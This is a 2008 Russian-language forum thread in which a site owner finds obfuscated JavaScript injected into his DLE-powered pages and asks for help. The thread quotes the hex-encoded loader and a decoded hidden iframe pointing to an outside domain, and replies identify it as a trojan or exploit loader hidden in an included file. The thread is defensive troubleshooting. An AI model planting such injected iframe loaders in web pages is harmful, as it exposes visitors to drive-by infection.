Потерявшийся Ява или индекс схавал паразит

Discussion in 'Безопасность и Анонимность' started by comeoff, 15 Mar 2008.

  1. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    Интересную сказку начал наблюдать в исходниках на своих сайтах (все на одном хосте висят)

    В индексах в самом верху начал наблюдаться какой то ява скрипт. Подозрения на фтп червя, но я не уверен. может кто подскажет, что это за скриптег такой и что он делает?

    <script type="text/javascript">function ahpgxusvlwuzz(skusjits){var fgdxbotv="";for(uknzaxauyi=0;uknzaxauyi<skusjits.length;uknzaxauyi+=2){fgdxbotv+=(String.fromCharCode(parseInt(skusjits.substr(uknzaxauyi,2),16)));}document.write(fgdxbotv);}ahpgxusvlwuzz("3C696672616D65207372633D22687474703A2F2F746F703130302D636F756E7465722E636F6D2F746F703130302F696E6465782E70687022206672616D65626F726465723D22302220626F726465723D2230222077696474683D223022206865696768743D223022207374796C653D22706F736974696F6E3A206162736F6C7574653B207669736962696C6974793A2068696464656E3B20646973706C61793A206E6F6E65223E3C2F696672616D653E");</script>

    П.С. возможно я создал тему не в той ветке, но на мой взгляд она должна быть тут, так что прошу, если что, судить не строго и больно не пинать))
     
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    ничего интересного. обычный айфрейм на плоент

    <iframe src="http://top100-counter.com/top100/index.php" frameborder="0" border="0" width="0" height="0" style="position: absolute; visibility: hidden; display: none"></iframe>
     
  3. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    загрузчик трояна. стопудов
     
  4. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    Если загрузчик троя, интересно, почему антивирусы молчат:(
    Кстати скорее всего так и есть. читал на форуме хостера, что не довольные клиенты ругаются, что хостер не хочет пытаться найти источник заражения на фтп и почистить там всё. все ругались на какой то не понятный ява скрипт
     
  5. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    На сайтах двиг Dle 6.7
    В индекс.пхп и в .штаццесс я подозрительного кода не нашёл. Где он мог спрятатся? Выводится на всех страницах сайта в самом верху.
     
  6. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    возможно в файлах, которые подключаются через include()
    footer.php, header.php и.т.п
     
  7. NFM

    NFM Reservists Of Antichat

    Joined:
    16 Jan 2006
    Messages:
    307
    Likes Received:
    191
    Reputations:
    22
    антивирус и не должен говорить =) сплоит криптованный и авиры сосут до поры до времени
     
  8. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    Нашёл...
    через require_once подключался. файл require_once ROOT_DIR.'/engine/init.php';

    iddqd, thx ;)
     
  9. n0153r

    n0153r Elder - Старейшина

    Joined:
    19 Jun 2007
    Messages:
    260
    Likes Received:
    92
    Reputations:
    11
    молодец, теперь пройдись по логам и посмотри кто проник на твой сайт.